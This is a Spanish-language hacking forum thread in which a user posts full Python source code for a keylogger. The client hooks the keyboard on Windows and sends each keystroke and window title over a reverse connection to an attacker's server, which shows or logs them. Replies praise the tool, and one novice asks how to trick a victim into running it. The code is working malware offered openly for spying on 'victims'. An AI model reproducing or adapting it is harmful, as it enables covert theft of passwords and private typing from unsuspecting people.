comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger v1.1 [By Expermicid]

  • 9 Respuestas
  • 2711 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Expermicid

  • *
  • Underc0der
  • Mensajes: 457
  • Actividad:
    0%
  • Reputación 0
  • _-Expermicid-_
    • Ver Perfil
  • Skype: expermicid.xd
« en: Enero 17, 2013, 02:26:47 pm »
Hola a todos! Aqui vengo a dejar una mejora del keylogger con algunos cambio y algunas opciones agregadas.

Primero que nada cambie la forma de conexion, haciendolo de conexion inversa. Siendo la victima quien se conecte a nosotros y no tener que poner la IP para conectarse.
Agregue un menu para hacerlo mas vistoso, poniendole algunas opciones basicas. Y tambien agregue la posibilidad de ver la captura del teclado desde la terminal o tambien ir guardandolo es un archivo plano.

Tambien habia agregados hilos en el servidor para poder ir captando las teclas que recibe y tener la posibilidad de alguna forma de poder cancelar el enlace, pero quite los hilos y lo solucione con la funcion fork() que crea procesos hijos. Con lo cual pude obtener lo que deseaba.

Y si no me olvido de nada mas, como ultimo y se ve en el video, ademas de capturar las teclas tambien envia las ventanas en que son presionada las teclas. :)

Codigos:

Servidor:

Código: Python
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. ##########################################
  5. ##                                      ##
  6. ##       Keylogger v1.1                 ##
  7. ##       By Expermicid                  ##
  8. ##       Fecha inicio : 16/10/12        ##
  9. ##       Fecha fin : 18/10/12           ##
  10. ##       Servidor                       ##
  11. ##                                      ##
  12. ##########################################
  13.  
  14. import socket
  15. import os, sys
  16.  
  17. def ImprimirCabecera() :
  18.         print '              ####################################################'
  19.         print '              ####                                            ####'
  20.         print '              ####      Keylogger v1.1 --- By Expermicid      ####'
  21.         print '              ####                                            ####'
  22.         print '              ####################################################'
  23.  
  24. def CrearArchivo() :
  25.         archivo=open('Logs.txt','w')
  26.         archivo.close()
  27.  
  28. def EscribirArchivo(texto) :
  29.         archivo=open('Logs.txt','a')
  30.         archivo.write(texto)
  31.         archivo.close()
  32.  
  33. def Capturar(s, sc, opc2) :
  34.         sys.stdout.write(os.popen('clear').read())
  35.         ImprimirCabecera()
  36.         print '              ####              CAPTANDO TECLAS               ####'
  37.         print '              ####################################################\n'
  38.         print '--------------------------------------------------------------------------------\n'
  39.         if opc2 == '3' :
  40.                 CrearArchivo()
  41.                 EscribirArchivo('Logs de Keylogger v1.1 --- By Expermicid\n')
  42.         texto = ''
  43.         nombreWindows = ''
  44.         while True :
  45.                 try :
  46.                         recibido = sc.recv(1024)
  47.                 except :
  48.                         pass
  49.                 else :
  50.                         if len(recibido) > 0 :
  51.                                 sys.stdout.write(os.popen('clear').read())
  52.                                 ImprimirCabecera()
  53.                                 print '              ####              CAPTANDO TECLAS               ####'
  54.                                 print '              ####################################################\n'
  55.                                 print '--------------------------------------------------------------------------------\n'
  56.                                 if recibido[0] == ':' :
  57.                                         letra = ':'
  58.                                         window = recibido[2:]
  59.                                 else :
  60.                                         letra = recibido.split(':')[0]
  61.                                         window = recibido.split(':')[1]
  62.                                 if opc2 == '1' :
  63.                                         if window != nombreWindows :
  64.                                                 texto += '\n\n***' + window + '***\n\n'
  65.                                                 nombreWindows = window
  66.                                         texto += letra
  67.                                         print texto
  68.                                 elif opc2 == '2' :
  69.                                         if window != nombreWindows :
  70.                                                 EscribirArchivo('\n\n***' + window + '***\n\n')
  71.                                                 nombreWindows = window
  72.                                         EscribirArchivo(letra)
  73.                                 elif opc2 == '3' :
  74.                                         if window != nombreWindows :
  75.                                                 texto += '\n\n***' + window + '***\n\n'
  76.                                                 EscribirArchivo('\n\n***' + window + '***\n\n')
  77.                                                 nombreWindows = window
  78.                                         texto += letra
  79.                                         print texto
  80.                                         EscribirArchivo(letra)
  81.  
  82. def Desconectar(s, sc) :
  83.         while True :
  84.                 comando = raw_input()
  85.                 if comando == 'Q' or comando == 'q' :
  86.                         sc.close()
  87.                         s.close()  
  88.                         break
  89.         Main()
  90.  
  91. def Main() :
  92.         opc1 = ''
  93.         while opc1 != '1' and opc1 != '2' :
  94.                 sys.stdout.write(os.popen('clear').read())
  95.                 ImprimirCabecera()
  96.                 print '              ####                    MENU                    ####'
  97.                 print '              ####################################################'
  98.                 print '              #### 1) ver si hay victimas conectadas          ####'
  99.                 print '              #### 2) salir                                   ####'
  100.                 print '              ####################################################\n'
  101.                 opc1 = raw_input('>>> ')
  102.         if opc1 == '2' :
  103.                 sys.stdout.write(os.popen('clear').read())
  104.                 ImprimirCabecera()
  105.                 print '              ####                  DESPEDIDA                 ####'
  106.                 print '              ####################################################'
  107.                 print '              ####       Gracias por usar mi keylogger        ####'
  108.                 print '              ####            Saludos, Expermicid             ####'
  109.                 print '              ####################################################\n'
  110.                 raw_input()
  111.         elif opc1 == '1' :
  112.                 sys.stdout.write(os.popen('clear').read())
  113.                 ImprimirCabecera()
  114.                 print '              ####              ESPERANDO VICTIMA             ####'
  115.                 print '              ####################################################\n'
  116.                 host = ''
  117.                 port = 5000
  118.                 try :
  119.                         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  120.                         s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  121.                         s.bind((host, port))
  122.                         s.listen(3)
  123.                         sc, addr = s.accept()
  124.                 except :
  125.                         sys.stdout.write(os.popen('clear').read())
  126.                         ImprimirCabecera()
  127.                         print '              ####                  CONFLICTO                 ####'
  128.                         print '              ####################################################'
  129.                         print '              ####          Ocurrio algun problema :(         ####'
  130.                         print '              ####################################################\n'
  131.                         raw_input()
  132.                 else :
  133.                         sys.stdout.write(os.popen('clear').read())
  134.                         ImprimirCabecera()
  135.                         print '              ####                   VICTIMA                  ####'
  136.                         print '              ####################################################\n'
  137.                         print 'Se conecto una victima :)' #sc.getpeername()
  138.                         raw_input()
  139.                         opc2 = ''
  140.                         while opc2 != '1' and opc2 != '2' and opc2 != '3' :
  141.                                 sys.stdout.write(os.popen('clear').read())
  142.                                 ImprimirCabecera()
  143.                                 print '              ####            CONEXION CORRECTA :)            ####'
  144.                                 print '              ####################################################'
  145.                                 print '              ####                  OPCIONES                  ####'
  146.                                 print '              ####################################################'
  147.                                 print '              #### 1) ver teclas en consola                   ####'
  148.                                 print '              #### 2) guardar teclas en archivo               ####'
  149.                                 print '              #### 3) ver en consola y guardar en archivo     ####'
  150.                                 print '              ####################################################\n'
  151.                                 opc2 = raw_input('>>> ')
  152.                         child_pid = os.fork()
  153.                         if child_pid == 0 :
  154.                                 Capturar(s,sc,opc2)
  155.                         else :
  156.                                 Desconectar(s,sc)      
  157.                         return
  158.  
  159. Main()

Cliente:

Código: Python
  1. # -*- coding: cp1252 -*-
  2.  
  3. ##########################################
  4. ##                                      ##
  5. ##       Keylogger v1.1                 ##
  6. ##       By Expermicid                  ##
  7. ##       Fecha inicio : 16/10/12        ##
  8. ##       Fecha fin : 18/10/12           ##
  9. ##       Cliente                        ##
  10. ##                                      ##
  11. ##########################################
  12.  
  13. import socket
  14. import pythoncom, pyHook
  15.  
  16. def OnKeyboardEvent(event) :
  17.         # letras minusculas y letras mayusculas
  18.         if (event.Ascii > 64 and event.Ascii < 91) or (event.Ascii > 96 and event.Ascii < 123) :
  19.                 letra = chr(event.Ascii)
  20.         # numeros
  21.         elif event.Ascii > 47 and event.Ascii < 58 :
  22.                 letra = chr(event.Ascii)
  23.         # F1 .. F12
  24.         elif event.KeyID > 111 and event.KeyID < 124 and event.Ascii == 0 :
  25.                 letra = ' ['+event.Key+'] '
  26.         # Espacio
  27.         elif event.Ascii == 32 :
  28.                 letra = chr(event.Ascii)
  29.         # Enter
  30.         elif event.Ascii == 13 :
  31.                 letra = '\n'
  32.         # BackSpace
  33.         elif event.Ascii == 8 :
  34.                 letra = '[BackSpace]'
  35.         # Escape
  36.         elif event.Ascii == 27 :
  37.                 letra = '[Escape]'
  38.         # Tab
  39.         elif event.Ascii == 9 :
  40.                 letra = chr(event.Ascii)
  41.         # Flechas
  42.         elif event.KeyID > 36 and event.KeyID < 41 and event.Ascii == 0 :
  43.                 letra = '['+event.Key+']'
  44.         # Bloq Mayus
  45.         elif event.KeyID == 20 and event.Ascii == 0 :
  46.                 letra = '[BloqMayus]'
  47.         # caracteres
  48.         elif event.Ascii > 32 and event.Ascii < 48 :
  49.                 letra = chr(event.Ascii)
  50.         # caracteres
  51.         elif event.Ascii > 57 and event.Ascii < 65 :
  52.                 letra = chr(event.Ascii)
  53.         # caracteres
  54.         elif event.Ascii > 90 and event.Ascii < 97 :
  55.                 letra = chr(event.Ascii)
  56.         # caracteres
  57.         elif event.Ascii > 122 and event.Ascii < 127 :
  58.                 letra = chr(event.Ascii)
  59.         # Insetar / Delete
  60.         elif event.KeyID > 44 and event.KeyID < 47 and event.Ascii == 0 :
  61.                 letra = ' ['+event.Key+'] '
  62.         # ascii extendido
  63.         elif event.Ascii > 127 and event.Ascii < 255 :
  64.                 letra = chr(event.Ascii)
  65.         # Flechas
  66.         elif event.KeyID > 159 and event.KeyID < 166 and event.Ascii == 0 :
  67.                 letra = '['+event.Key+']'
  68.         # Win / Apps
  69.         elif (event.KeyID == 91 or event.KeyID == 93) and event.Ascii == 0 :
  70.                 letra = '['+event.Key+']'
  71.         # Inicio-Fin / RePag-AvPag
  72.         elif event.KeyID > 32 and event.KeyID < 37 and event.Ascii == 0 :
  73.                 letra = '['+event.Key+']'
  74.         # caracter Ž
  75.         elif event.KeyID == 222 and event.Ascii == 0 :
  76.                 letra = '´'
  77.         try :
  78.                 s.send(letra+':'+event.WindowName)
  79.         except :
  80.                 pass
  81.  
  82.         return True
  83.                
  84. try:
  85.         host = 'Ip_a_Conectar' # sustituir Ip_a_Conectar por la que corresponda
  86.         port = 5000
  87.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  88.         s.connect((host, port))
  89. except :
  90.         pass
  91. else:
  92.         hm = pyHook.HookManager()
  93.         hm.KeyDown = OnKeyboardEvent
  94.         hm.HookKeyboard()
  95.         pythoncom.PumpMessages()

NOTA: Si ven en el cliente van a necesitar poner la ip a la que se tiene que conectar.
NOTA 2: En el servidor, cuando se conecta una victima y yo imprimo avisando lo ocurrido como comentario puse 'sc.getpeername()', si ustedes ponen que se imprima eso, van a obtener los datos de la victima que se conecto como la IP.

Video:



Saludos

Desconectado fortil

  • *
  • Underc0der
  • Mensajes: 175
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 18, 2013, 03:47:35 am »
muy bueno expermicid

gracias

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Enero 22, 2013, 03:19:53 pm »
Excelente aporte! Yo estoy escribiendo un RAT en python. Voy a tener en cuenta este código para incluirlo como una función más.

Saludos!
WhiZ


Desconectado mixlol

  • *
  • Underc0der
  • Mensajes: 2
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Enero 22, 2013, 03:54:43 pm »
Very good! :O!

Desconectado Uxorial

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
  • Skype: M4TI44S.EL.ARM4.SECRET4
« Respuesta #4 en: Mayo 26, 2013, 10:11:16 pm »
Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s

Y que es eso de la IP a conectar? saludos y espero respuestas, gracias.  ???

Conectado Once

  • *
  • Underc0der
  • Mensajes: 385
  • Actividad:
    5%
  • Reputación 0
    • Ver Perfil
    • El blog de Once
  • Twitter: @don_once
« Respuesta #5 en: Mayo 26, 2013, 10:35:44 pm »
You are not allowed to view links. Register or Login
Hola amigo, soy un novato en todo aspecto, no se usar ++C, solo se usar PAWNO (Simple) y no sé como convertir estos cogidos a un programa ejecutable :s una duda, esto se puede poner en un link de descargar para la victima, este ejecuta el archivo ya cayó en la trampa??? o no es así? :s

Y que es eso de la IP a conectar? saludos y espero respuestas, gracias.  ???

El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes You are not allowed to view links. Register or Login

Acerca de la Ip, el cliente captura lo que presiona la víctima y lo envía al servidor (donde ves lo que presionó la víctima) pero para que se pueda establecer la conexión, necesitas "decirle" al cliente la dirección donde está escuchando el servidor (La ip de la máquina donde tienes escuchando el servidor). Busca acerca de aplicaciones cliente servidor para que te aclares más.

Saludos!






You are not allowed to view links. Register or Login

Desconectado D4rkC0d3r

  • *
  • Underc0der
  • Mensajes: 202
  • Actividad:
    0%
  • Reputación 0
  • \xeb\x16\x5e\x31\xd2\
    • Ver Perfil
    • Ethical Hacking, Malware Analysis, Disinfection Techniques and more...
« Respuesta #6 en: Mayo 27, 2013, 01:28:56 am »
Excelente aporte, muy bueno, gracias por compartir...

Saludos!!!  ;D

D4rkC0d3r

Desconectado Mr. Foster

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Mayo 27, 2013, 11:36:06 am »
You are not allowed to view links. Register or Login

El keylogger está codeado en Python que es un lenguaje interpretado así que para que el keylogger funcione, la víctima deberá tener python instalado, o puedes You are not allowed to view links. Register or Login


Concuerdo con 11Sep, aunque eso no lo hace malo ni nada de eso un buen aporte, yo por ahora estoy ocupando el syslogger ya que como no tengo acceso al router no puedo ocupar un RAT, por eso me fio en la opcion smtp. Buen aporte  ;D

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
    • Ver Perfil
  • Skype: k0wsit0
« Respuesta #8 en: Mayo 29, 2013, 07:29:43 pm »
Muy buen code, te quedo muy limpio  ;D

-Saludos-

Desconectado a778899

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #9 en: Junio 13, 2013, 11:25:25 pm »
Buen material, pero el gran problema que tienen los keylogger hechos con las bibliotecas pyHook y pythoncom es que te bloquea muchos caracteres. Es decir, si queres colocar una tilde no te va a dejar, y tampoco te deja usar ALT + COMBINACION_DE_NUMPAD. Te recomendaria utilizar ctypes.

Saludos

 

¿Te gustó el post? COMPARTILO!



Python keylogger - by "bLiNdFiR3"

Iniciado por d33k40

Respuestas: 0
Vistas: 1851
Último mensaje Abril 07, 2010, 03:30:22 am
por d33k40
[Python] Simple Keylogger

Iniciado por BigBear

Respuestas: 4
Vistas: 2115
Último mensaje Julio 23, 2011, 09:48:58 pm
por BigBear